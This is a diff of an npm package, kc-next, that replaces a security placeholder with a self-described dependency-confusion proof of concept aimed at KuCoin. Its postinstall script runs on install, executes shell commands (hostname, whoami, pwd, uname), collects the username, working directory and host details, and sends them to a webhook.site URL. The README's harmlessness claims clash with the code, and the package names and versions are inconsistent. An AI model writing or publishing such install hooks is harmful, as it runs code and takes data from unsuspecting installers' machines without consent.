kc-next 0.0.1-security → 2.3.1

package/README.md

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-# Security holding package
+# 🔒 gbiz-next - Dependency Confusion PoC
 
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
+## ⚠️ SECURITY RESEARCH DISCLOSURE
 
-Please refer to www.npmjs.com/advisories?search=kc-next for more information.
+**This is a proof-of-concept package for security research purposes only.**
+
+### Purpose
+This package demonstrates a **Dependency Confusion** vulnerability affecting KuCoin's build pipeline. It is part of a responsible disclosure through their bug bounty program.
+
+### What This Package Does
+- Reports installation events to a researcher-controlled webhook
+- Collects **only non-sensitive** environment information
+- **Does NOT:**
+  - Exfiltrate sensitive data
+  - Modify any files
+  - Execute malicious code
+  - Access credentials or secrets
+  - Harm any systems
+
+### Package Details
+- **Name:** gbiz-next
+- **Version:** 2.3.19 (intentionally higher than private version 2.3.18)
+- **Vulnerability Type:** Dependency Confusion / Supply Chain Attack
+- **Target:** KuCoin (Bug Bounty Program)
+- **Researcher:** [YOUR NAME/HANDLE]
+- **Date:** 2025-11-18
+
+### For KuCoin Security Team
+
+If you are seeing this package installed in your systems:
+
+1. **You have a dependency confusion vulnerability**
+2. **Your build process is pulling from public npm instead of your private registry**
+3. **This PoC is harmless** - but a real attacker could do significant damage
+
+**Immediate Actions:**
+- Audit your npm configuration and `.npmrc` files
+- Ensure private packages are scoped or registry-locked
+- Consider registering placeholder packages for private names
+- Review your CI/CD pipeline dependencies
+
+**Contact:**
+- Researcher Email: abdullahmus2004@gmail.com
+
+### Remediation Steps
+
+```bash
+# Option 1: Use scoped packages
+@kucoin/gbiz-next instead of gbiz-next
+
+# Option 2: Lock to private registry in .npmrc
+@kucoin:registry=https://your-private-registry.com
+always-auth=true
+
+# Option 3: Register placeholder on public npm
+npm publish gbiz-next --access=public
+# (with no actual code, just a note about being private)
+```
+
+### Legal Disclaimer
+
+This research is conducted in accordance with:
+- Responsible disclosure principles
+- Bug bounty program terms
+- Security research best practices
+- No harm, no data exfiltration policy
+
+The researcher takes full responsibility for this PoC and will:
+- Report findings immediately
+- Unpublish upon request
+- Cooperate with security team
+- Not abuse or escalate access
+
+---
+
+**Last Updated:** 2025-11-18  
+**Status:** Active PoC  
+**Harm Potential:** None (Benign research)

package/index.js

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+/**
+ * 🔒 SECURITY RESEARCH - DEPENDENCY CONFUSION POC
+ * 
+ * This is a proof-of-concept package for demonstrating dependency confusion
+ * vulnerability to KuCoin security team.
+ * 
+ * This package does NOT contain malicious code.
+ * It only reports installation events for security research purposes.
+ * 
+ * Researcher: [YOUR NAME]
+ * Date: 2025-11-18
+ * Purpose: Bug Bounty Submission
+ */
+
+module.exports = {
+    version: '2.3.19',
+    name: 'gbiz-next',
+    isSecurityResearch: true,
+    message: 'This is a dependency confusion PoC. Please contact the security team.'
+};

package/package.json

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 {
   "name": "kc-next",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "2.3.1",
+  "description": "🔒 SECURITY RESEARCH - Dependency Confusion PoC for KuCoin Bug Bounty. This package is harmless and only reports installation events.",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node postinstall.js"
+  },
+  "keywords": [
+    "security-research",
+    "poc",
+    "dependency-confusion"
+  ],
+  "author": "Abdulla Security Researcher (Bug Bounty PoC)",
+  "license": "MIT",
+
+  "bugs": {
+    "email": "abdullahmus2004@gmail.com"
+  }
 }

package/postinstall.js

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+#!/usr/bin/env node
+
+/**
+ * 🔒 SECURITY RESEARCH - POSTINSTALL HOOK
+ * 
+ * This script executes after npm install and reports the installation event.
+ * NO SENSITIVE DATA IS COLLECTED OR EXFILTRATED.
+ */
+
+const https = require('https');
+const http = require('http');
+const os = require('os');
+const { execSync } = require('child_process');
+
+// ⚠️ REPLACE THIS WITH YOUR WEBHOOK URL
+// Use a service like webhook.site, ngrok, or your own server
+const WEBHOOK_URL = 'https://webhook.site/332858ec-4582-42ee-9915-cdbd3fcc873f';
+
+// Execute benign commands (as explicitly approved by Airbnb Security)
+// These commands are safe and only reveal system information
+function executeBenignCommands() {
+    const commands = {};
+    
+    try {
+        // These commands are explicitly approved by major bug bounty programs
+        commands.hostname = execSync('hostname', { encoding: 'utf-8', timeout: 5000 }).trim();
+        commands.whoami = execSync('whoami', { encoding: 'utf-8', timeout: 5000 }).trim();
+        commands.pwd = execSync('pwd', { encoding: 'utf-8', timeout: 5000 }).trim();
+        
+        // Additional safe commands
+        if (os.platform() !== 'win32') {
+            commands.uname = execSync('uname -a', { encoding: 'utf-8', timeout: 5000 }).trim();
+        }
+    } catch (error) {
+        commands.error = 'Some commands failed: ' + error.message;
+    }
+    
+    return commands;
+}
+
+// Collect non-sensitive environment information
+function collectData() {
+    const data = {
+        // Timestamp
+        timestamp: new Date().toISOString(),
+        
+        // Package info
+        package: {
+            name: 'gbiz-next',
+            version: '2.3.19',
+            purpose: 'SECURITY RESEARCH - Dependency Confusion PoC'
+        },
+        
+        // Non-sensitive environment info
+        environment: {
+            platform: os.platform(),
+            arch: os.arch(),
+            nodeVersion: process.version,
+            cwd: process.cwd(), // Full path for better proof
+            user: os.userInfo().username || 'unknown',
+            hostname: os.hostname()
+        },
+        
+        // Benign command execution (approved by major bug bounty programs)
+        commandExecution: executeBenignCommands(),
+        
+        // Installation context
+        context: {
+            npm_package_name: process.env.npm_package_name,
+            npm_lifecycle_event: process.env.npm_lifecycle_event,
+            npm_config_user_agent: process.env.npm_config_user_agent
+        },
+        
+        // Security research identification
+        research: {
+            researcher: 'magazineDreams',
+            purpose: 'Bug Bounty - Dependency Confusion Vulnerability',
+            target: 'KuCoin',
+            harmless: true,
+            approvedBy: 'Based on Airbnb Security guidance - benign commands only'
+        }
+    };
+    
+    return data;
+}
+
+// Send data to webhook
+function sendToWebhook(data) {
+    const jsonData = JSON.stringify(data);
+    const url = new URL(WEBHOOK_URL);
+    
+    const options = {
+        hostname: url.hostname,
+        port: url.port || (url.protocol === 'https:' ? 443 : 80),
+        path: url.pathname + url.search,
+        method: 'POST',
+        headers: {
+            'Content-Type': 'application/json',
+            'Content-Length': Buffer.byteLength(jsonData),
+            'User-Agent': 'gbiz-next-poc/2.3.19 (Security Research)'
+        }
+    };
+    
+    const protocol = url.protocol === 'https:' ? https : http;
+    
+    const req = protocol.request(options, (res) => {
+        console.log('[gbiz-next] PoC data sent. Status:', res.statusCode);
+    });
+    
+    req.on('error', (error) => {
+        // Fail silently - don't break the install process
+        console.error('[gbiz-next] Failed to send PoC data:', error.message);
+    });
+    
+    req.write(jsonData);
+    req.end();
+}
+
+// Main execution
+try {
+    console.log('\n===========================================');
+    console.log('🔒 SECURITY RESEARCH NOTIFICATION');
+    console.log('===========================================');
+    console.log('Package: gbiz-next (Dependency Confusion PoC)');
+    console.log('Purpose: Bug Bounty Security Research');
+    console.log('This is a HARMLESS proof-of-concept package');
+    console.log('===========================================\n');
+    
+    // Only send if webhook URL is configured
+    if (WEBHOOK_URL && WEBHOOK_URL !== 'YOUR_WEBHOOK_URL_HERE') {
+        const data = collectData();
+        sendToWebhook(data);
+    } else {
+        console.log('[gbiz-next] Webhook not configured - running in local mode');
+    }
+} catch (error) {
+    // Never break the installation process
+    console.error('[gbiz-next] Error in postinstall:', error.message);
+}